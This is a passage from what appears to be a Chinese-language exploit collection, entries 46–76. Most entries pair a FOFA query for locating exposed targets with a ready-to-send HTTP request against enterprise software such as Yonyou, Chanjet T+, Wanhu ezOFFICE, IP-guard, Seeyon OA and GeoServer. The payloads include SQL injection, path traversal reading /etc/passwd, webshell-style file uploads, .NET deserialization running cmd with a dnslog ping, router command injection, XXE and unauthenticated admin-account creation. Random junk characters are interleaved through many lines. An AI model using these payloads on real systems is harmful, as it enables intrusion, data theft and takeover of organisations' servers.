46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% c7 N- a/ f1 i, JFOFA：app="用友-GRP-U8"
- U7 q! P  \4 w+ W: \9 [, WGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
1 R$ O5 I, l  J! oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( ^% y) v) ?, @% f9 }- r: \+ c1 @Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
! z" @; X% e9 `! f( X* }% zGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
8 R0 L* `. z* \5 k( s7 b8 yCache-Control: max-age=0
% H1 Y2 q5 K  d+ kUpgrade-Insecure-Requests: 1
! n; d  n2 u, \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
3 t, T0 d. F+ K8 s+ u# k, bConnection: close
" k4 R8 K: h- B4 U


48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
4 p& N, z2 X6 @( eHost: your-ip
* n3 P* I- R/ o' _  k. eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
7 N+ l0 D! |0 e- U- p------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
5 O1 Z( @2 h$ ZContent-Type: application/octet-stream
------269520967239406871642430066855
' t5 ~+ y  g6 G4 {Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
. @9 B& C1 r. ~5 k- A

/ a( [3 ]: {# C% v; Q  h2 @) H% S49. 用友U8 CRM系统uploadfile.php接口任意文件上传
- N# F! o1 q2 K' ]( I0 f# F  D3 MFOFA：body="用友U8CRM"

4 o% B0 q; w* }6 @" c/ ePOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( N/ Q% p( ?1 u: ~Content-Length: 329
' C3 S7 s  x5 s  YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ G+ e4 m/ i+ Z. L  EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
3 z+ w  X6 f* R$ U1 M0 I
) X( x( m, [% q% V; i4 H9 x-----------------------------vvv3wdayqv3yppdxvn3w
, z4 h' O# t2 n; u" t. ~Content-Disposition: form-data; name="file"; filename="%s.php "
) Z$ ]4 [7 V/ wContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
. N( w2 b7 J  B-----------------------------vvv3wdayqv3yppdxvn3w--


( ^/ Z, r( ]; s$ ohttp://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
( B5 E+ _  W# c) dFOFA：body="close closebtnmodal"
/ n+ {% I  O3 R7 K' C5 ?0 d, T: qPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 v" o7 S( j& a% l* L3 g! K' YConnection: close
/ M3 Z6 a; T  v3 W# CContent-Length: 224
Accept: */*
. V% x% y5 G7 u$ j% |; i: AAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

$ X1 X$ B, i6 h# ?/ Ksearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
4 y, p7 T, g8 O- x/ ?9 ^

" x* m# k) ]! p, y: O' u51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
6 `3 M4 F+ Z- P+ d) P8 rFOFA：app="云时空社会化商业ERP系统"
* _" `- p8 x7 G6 C# zGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
  O' J( ~& F% {; S, i0 M/ B' IHost: your-ip
; p3 ~9 s; i  B( P: X2 V& Z+ uUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
$ Y6 S9 y7 C4 H, m) w' |6 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 ^7 N' X/ K# H* G0 u6 d! ~; [0 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) _4 L) G0 g( A7 X. r2 o5 YConnection: close
% U4 K. m+ M$ A: I# i' Z3 ]! W
( y$ j  q, i7 F
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
+ }& S' P" T' \5 U$ h* g$ CUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
: o& E. `$ b: `Content-Length: 87
Accept: */*
Accept-Language: en
9 @% d) z9 r; Z, J; J8 o$ lContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
$ J/ }% Z) b6 L; l" @

: H7 C' ?! k: s( n# s$ ?& v53. 迪普 DPTech VPN Service 任意文件上传
( S5 p/ u# v/ F; b. mFOFA：app="DPtech-SSLVPN"
' b' C1 P" N. ^* v# E& ?; u. `/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

8 n# e$ Q! G$ E; L2 o1 T
) b0 ]& J, h! j. f5 c' L54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
! c- b, u9 G1 V; B第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
1 K5 |( T7 t9 S* T+ D2 b& X- E3 M# pUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
4 H& B0 s* @* N! _: d6 D: _
. F6 p! O6 ^9 |8 m{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
+ i+ ^* x5 K9 H "MethodName":"Start",
/ E, s* b" E+ J, [  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) Q# d( U5 K/ P7 |4 }/ I    "StartInfo":{
4 U4 y1 S! E' p* o   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" q# \4 Y. X! F7 S3 M    "FileName":"cmd",
' _  D# K; S+ _- X6 L- ^1 f    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  \1 I) ]% O- x0 ]/ w. j  }
& h' s( a! _, d}
4 x( F& N. x1 G% T5 T5 O

% J7 g6 G( K( S. \4 m4 r) K9 A% v  y第二步，访问如下url
! j0 p% o0 O) z5 b5 t2 @0 X/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

' e; l/ x& \) d6 w2 F$ T8 [9 Z# U
9 q, k; r6 }) I2 K- r/ M55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
$ c& D; V8 F+ k/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
1 ?5 w; J) @4 c' V第二步，利用获取到的Cookie请求
: y  d+ I4 Z  r: O" v. s/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
9 k" ~& g  _9 q# v5 X. c, T: o
# u( \: _" l2 P! ]9 N3 A56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
$ t! \3 Z) A' a8 Z$ H! r) ]Host: x.x.x.x
- r# I/ g1 C- N, l* [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
# w* g. R3 A; v+ d. w4 j4 w3 KContent-Type: application/json

, m) F2 M: {& w{
( H8 a' q  \8 O" _" X  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
8 s. m/ u; p: ?% w7 h! u- |   "MethodName":"Start",
& t% B, }4 d- h    "ObjectInstance":{
0 h# t* }7 W$ p) J       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3 t! r) a8 O( E! i' S' R' w        "StartInfo": {
' h  f! I8 E' ]5 d; W3 [: H           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
" ~! _9 n0 A" Y. j! ~0 O/ O    }
6 `( P7 p4 R9 j  }
}
( M7 k) i7 R9 ^9 z
* k# H5 f; b3 z5 r, `
; m2 Y/ P' }$ ~- d+ X57. 畅捷通T+ keyEdit.aspx SQL注入
1 J0 u) ^# X; J+ W6 oFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
  S- ?% }2 C- p# W; G! WHost: host
; @7 W1 G3 F# q: d# r2 \User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 `3 ^8 g" i* a+ WAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
3 _  z! t8 [. c% fConnection: close
" E3 h0 Y! A' d

4 h9 P5 T. f8 I7 `5 |+ V58. 畅捷通T+ KeyInfoList.aspx sql注入
+ C1 o3 u* z# j) c3 N% U" h1 rFOFA：app="畅捷通-TPlus"
8 Y3 c/ G9 s8 E. p! d9 \% i+ vGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
6 H$ l; Y) {4 }Host: your-ip
# |# @  S9 V8 u) iUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
# r5 L. Y6 m7 Z8 |4 l& vAccept-Encoding: gzip, deflate
Connection: close
' \2 G/ M& ]7 L0 [1 u
5 ~- @4 j' H3 D- R  Y2 Y! m3 u- d
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
. u$ u1 a( ]  Z+ j* u' j0 ], j2 f# sPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 C3 A; X( a( c* m: `Connection: close
1 d. ~! Y7 N6 c% f& wContent-Length: 1669
Accept: */*
5 R. P" J1 V8 f4 L) E7 SAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD

/ Z, T; R0 V8 r9 f7 s8 S/ M
, ^; N* W3 g& J: T60. 百卓Smart管理平台 importexport.php SQL注入
" z1 C4 q. J6 U* BFOFA：title="Smart管理平台"
0 [. m9 |& _- m3 z8 F/ t7 E6 S4 aGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
! Z" q8 K. j/ @$ T! L1 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- j' U5 j: F. o' eAccept-Encoding: gzip, deflate
7 \$ `9 x6 A$ Z. h" \Accept-Language: zh-CN,zh;q=0.9
7 [% J% R) X" W% |& \2 g5 {Connection: close

8 f, f( {5 T; N% E6 O
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
! T  u4 U( u$ ], L* ], mFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& _1 B' M( a" u- AConnection: close
; h$ Y5 F7 N. N! Z! pContent-Length: 27
3 s0 }  A: j* \. ~4 Z( w. B  z% \Accept: */*
* g4 z; _+ T( Z9 g; pAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
, `" s8 C$ k. Z( HFOFA："IP-guard" && icon_hash="2030860561"
* t5 Q& y3 o' T" U5 XGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
2 U$ g( X, n- H/ T2 ]User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
! s, H2 R% a+ v7 b& @Connection: close
Accept: */*
! c. w9 h. b1 u' ?Accept-Language: en
Accept-Encoding: gzip
+ V, G' y; T( M7 p- ^
7 y* `* o) C$ t: d
. s. E. |' W1 Y+ p; S8 t访问

3 d) [* h4 z5 Y6 Z' i8 M" ^' IGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

6 Y( H3 r9 E* ]0 d( n; l
63. IP-guard WebServer任意文件读取
3 p" E( ^. W. N! V& f5 BIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
6 {% r0 E2 w& `- S7 Y* ~- PPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
% l3 Z8 @, j3 N4 N5 K+ N& jHost: your-ip
; @0 Q  H% d6 Z* _3 x/ C3 H# cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( C  `. X9 R; N2 Q; uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 [! `8 i+ l+ ]7 Y; Q9 _3 }Content-Type: application/x-www-form-urlencoded
: H" v0 O2 {# ]# \4 q9 l8 _
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
- o& R" w" y* [5 E  j( S1 \
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
% P0 Q% H- M- \. G' pUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
3 V6 d: C' ]/ S8 V' S. nContent-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
! L' W' u# x( ^- n) R5 b5 R
- h4 x' D% M4 J2 [% [7 b8 r2 n<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
( Q' U5 g! `) U  k8 o<soap:Body>
" q* V2 K" k: G& M- N- \    <GetOSpById xmlns="http://tempuri.org/">
3 o: O" Z# h* X8 G) N  V  F2 s$ r0 {      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>
; s" c! h' V& E" L9 q: w- q2 q

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
5 A$ N1 T" R, f6 O+ aPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
$ i9 I3 r5 ?3 K! dAccept: */*
Connection: close
Accept-Language: en
Content-Length: 174

. _# Q; C8 c- K! }4 t. p) PoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
" j% c; U6 |4 q6 A( ]( ?. l  `$ i

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
( W% z  G! _8 g( I' x3 A) }% o9 r
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
) x4 B* G; F) X+ cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
, T5 I* C: {6 U, yConnection: close
Accept: */*
Accept-Language: en
6 Y2 m4 L5 O& K2 L, GAccept-Encoding: gzip


  H, n' R6 d  k5 F3 R第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
: d- h* Y) S8 C/ i2 ^# [
4 B% C6 o; d5 c  P9 n/ T/ p; {: r67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
/ S- q: L, C! @- F7 d% w# r; G/ DnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
) m8 |6 J  O: r& Q% J# K3 X% N5 vPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
9 U5 m2 R' {9 ?. ^9 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
, A6 x* _+ i; @2 K1 U% W. j' YContent-Length: 173
) `9 ]3 Y& R& g/ y; {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
+ D; L& M8 J7 X! B* c. \Connection: close
$ l/ Y' m, J4 E9 h& T9 B4 W2 I1 qContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

& j+ l- D1 b2 L- P* i--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

: Z+ @) \1 C8 [" z% u- V2 E<% out.print("sasdfghjkj");%>
3 e! h& Y% q0 Y1 Q4 C+ C- ~* h9 X--ufuadpxathqvxfqnuyuqaozvseiueerp--
, h/ b7 L+ ^, S6 R, M, a& J

! P0 K* X% W, z- H文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
8 ]+ e- o) q2 @; `
68. 万户ezOFFICE wf_printnum.jsp SQL注入
8 _1 v" v) n  c/ v1 _FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 `1 c& B9 B$ h8 ^8 CConnection: close

2 O& Y: e+ L" z7 _$ v/ E8 `; p
% k( P0 E9 c. A3 Y+ ~4 |69. 万户 ezOFFICE contract_gd.jsp SQL注入
- ], H" c" u1 z$ m1 |$ nFOFA：app="万户ezOFFICE协同管理平台"
0 g8 v, r$ A# j1 x9 NGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
0 ?: ~" [9 D7 i$ yHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
: ~  ~4 D2 i3 @Accept-Encoding: gzip, deflate
- h  u2 n1 I. a( S! WAccept: */*
Connection: keep-alive
# Z# w8 I# q1 L( F/ F
1 }0 c" H7 G/ M; u
0 z& J5 h2 Q9 [6 g( ~. t7 X7 G70. 万户ezEIP success 命令执行
8 d( E7 t' b% F4 fFOFA：app="万户网络-ezEIP"
. `" |+ k7 O) k* n% ]. NPOST /member/success.aspx HTTP/1.1
6 z& T) T. T9 `Host: {{Hostname}}
' X( x' u4 P  `, S( CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
3 A$ Z, K$ t3 F# D2 D- @TYPE: C
Content-Length: 16702

8 |! U! l* b( ^9 i3 y8 H3 W& I3 }__VIEWSTATE=PAYLOAD


" b3 r* K* V/ `* q/ D( e71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
2 P8 l- z$ d; m: BGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
! l1 z" E0 n/ D- v% QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# c5 t, T  w$ X! x2 MAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
$ i; u- I/ `9 t& c& x' B) p

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
; f. v) ?( |# Y3 W0 |/ LHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
4 ^  ?5 \4 Z+ v4 bContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

! D( R% B2 V3 ?6 s, E5 v3 ?S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
- x9 U' p0 H/ g! O( a$ p; y; D1 F
+ y7 s' a, `. m
0 }1 b, W% q3 ~5 {73. GeoServer wms远程代码执行
# j$ c0 A/ r# _0 n+ HFOFA：icon_hash=”97540678”
, o# G, N$ l6 D* L. ]. VPOST /geoserver/wms HTTP/1.1
( x! F0 M  }$ l2 PHost:
' Z, h4 M1 H) B5 Z) R/ Y0 e; a( \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
, T3 v6 {, E) N$ G0 U& y- B/ V
PAYLOAD


, c( }3 H0 a0 o* j74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
; n, t. R' Y3 k- t0 T6 f* ~PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
' U' q& W, n7 F6 ZFOFA：app="TELESQUARE-TLR-2005KSH"
2 `% U, L' Z5 h- e) XGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
2 G  @$ [# o+ t0 [7 i+ KHost: x.x.x.x
) k( h  y3 s" A+ g2 |1 o! IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 }" n7 E3 N- C* ^6 AConnection: close
: ?6 w$ K  t" _- QAccept: */*
6 Z# T8 U; V0 A. x$ d5 K! }Accept-Language: en
2 [& d3 e; Z0 _1 _5 c6 hAccept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
: N5 p. h* O$ c+ I9 `3 x1 u

76. 新开普掌上校园服务管理平台service.action远程命令执行
9 d: d# F+ d+ t( Y4 TFOFA：title="掌上校园服务管理平台"
2 J5 ~. \" G/ n& _4 EPOST /service_transport/service.action HTTP/1.1
' b: k0 T! ]) n6 p4 |Host: x.x.x.x
1 I. B+ l4 }. r7 T( u" ~1 g8 h0 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
- a/ W, U8 g5 b! L3 m6 D0 HContent-Length: 211
